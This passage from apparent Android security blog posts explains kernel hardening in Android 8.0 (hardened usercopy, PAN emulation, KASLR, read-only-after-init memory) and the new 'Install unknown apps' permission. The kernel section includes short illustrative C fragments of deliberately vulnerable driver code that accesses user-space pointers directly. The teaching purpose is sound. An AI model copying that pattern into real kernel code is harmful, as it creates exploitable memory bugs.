if (copy_from_user(buf, src, size))
return -EFAULT;
/* never reached with CONFIG_HARDENED_USERCOPY=y */
}
An example of a security issue that hardened usercopy prevents.
While hardened usercopy functions help find and mitigate security issues, they
can only help if developers actually use them. Currently, all kernel code,
including drivers, can access user space memory directly, which can lead to
various security issues.
To mitigate this, CPU vendors have introduced features such as Supervisor Mode
Access Prevention (SMAP) in x86 and Privileged Access Never (PAN) in ARM v8.1.
These features prevent the kernel from accessing user space directly and ensure
developers go through usercopy functions. Unfortunately, these hardware features
are not yet widely available in devices that most Android users have today.
Upstream Linux introduced software emulation for PAN in kernel version 4.3
for ARM and 4.10 in ARM64. We
have backported both features to Android kernels starting from 3.18.
Together with hardened usercopy, PAN emulation has helped find and fix bugs in
four kernel drivers in Pixel devices.
int buggy_driver_copy_data(struct mydata *src, void __user *ptr)
{
/* failure to keep track of user space pointers */
struct mydata *dst = (struct mydata *)ptr;
…
/* read/write from/to an arbitrary user space memory location */
dst->field = … ; /* use copy_(from|to)_user instead! */
…
/* never reached with PAN (emulation) or SMAP */
}
An example of a security issue that PAN emulation mitigates.
Android has included support for Address Space Layout Randomization (ASLR) for
years. Randomizing memory layout makes code reuse attacks probabilistic and
therefore more difficult for an attacker to exploit, especially remotely.
Android 8.0 brings this feature to the kernel. While Linux has supported KASLR on x86 since version 3.14, KASLR for ARM64 has only been
available upstream since Linux 4.6. Android 8.0 makes KASLR available in Android
kernels 4.4 and newer.
KASLR helps mitigate kernel vulnerabilities by randomizing the location where
kernel code is loaded on each boot. On ARM64, for example, it adds 13–25 bits of
entropy depending on the memory configuration of the device, which makes code
reuse attacks more difficult.
The final hardening feature extends existing memory protections in the kernel by
creating a memory region that’s marked read-only after the kernel has been
initialized. This makes it possible for developers to improve protection on data
that needs to be writable during initialization, but shouldn’t be modified after
that. Having less writable memory reduces the internal attack surface of the
kernel, making exploitation harder.
Post-init read-only memory was
introduced in upstream kernel version 4.6 and we have backported it to Android
kernels 3.18 and newer. While we have applied these protections to some data
structures in the core kernel, this feature is extremely useful for developers
working on kernel drivers.
Android Oreo includes mitigations for the most common source of security bugs in
the kernel. This is especially relevant because 85% of kernel security bugs in
Android have been in vendor drivers that tend to get much less scrutiny. These
updates make it easier for driver developers to discover common bugs during
development, stopping them before they can reach end user devices.
Posted by Edward Cunningham. Product Manager, Android Security
Eagle-eyed users of Android O will have noticed the absence of the ‘Allow
unknown sources’ setting, which has existed since the earliest days of Android
to facilitate the installation of apps from outside of Google Play and other
preloaded stores. In this post we’ll talk about the new Install unknown
apps permission and the security benefits it brings for both Android
users and developers.
Earlier this year we introduced Google Play
Protect – comprehensive security services that are always at work to protect
your device from harm. Google Play continues to be one of the safest places for
Android users to download their apps, with the majority of Potentially Harmful
Apps (PHAs) originating from third-party sources.
A common strategy employed by PHA authors is to deliver their apps via a hostile
downloader. For example, a gaming app might not contain malicious code but
instead might notify the user to install a PHA that masquerades as an important
security update. (You can read more about hostile downloaders in the Android
Security 2016 Year in Review). Users who have enabled the installation of
apps from unknown sources leave themselves vulnerable to this deceptive
behavior.
In Android O, the Install unknown apps permission makes it
safer to install apps from unknown sources. This permission is tied to the app
that prompts the install— just like other runtime permissions—and ensures that
the user grants permission to use the install source before it can prompt the
user to install an app. When used on a device running Android O and higher,
hostile downloaders cannot trick the user into installing an app without having
first been given the go-ahead.
This new permission provides users with transparency, control, and a streamlined
process to enable installs from trusted sources. The Settings app shows the list
of apps that the user has approved for installing unknown apps. Users can
revoke the permission for a particular app at any time.
To take advantage of this new behavior, developers of apps that require the
ability to download and install other apps via the Package Installer may need to
make some changes. If an app uses a targetSdkLevel of 26 or above
and prompts the user to install other apps, the manifest file needs to include
the REQUEST_INSTALL_PACKAGES
permission:
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
Apps that haven’t declared this permission cannot install other apps, a handy
security protection for apps that have no intention of doing so. You can choose
to pre-emptively direct your users to the Install unknown apps
permission screen using the ACTION_MANAGE_UNKNOWN_APP_SOURCES
Intent action. You can also query the state of this permission using the
PackageManager canRequestPackageInstalls()
API.
Remember that Play policies
still apply to apps distributed on Google Play if those apps can install and
update other apps. In the majority of cases, such behavior is inappropriate; you
should instead provide a deep
link to the app’s listing on the Play Store.
Be sure to check out the updated publishing
guide that provides more information about installing unknown apps, and stay
tuned for more posts on security hardening in Android O.
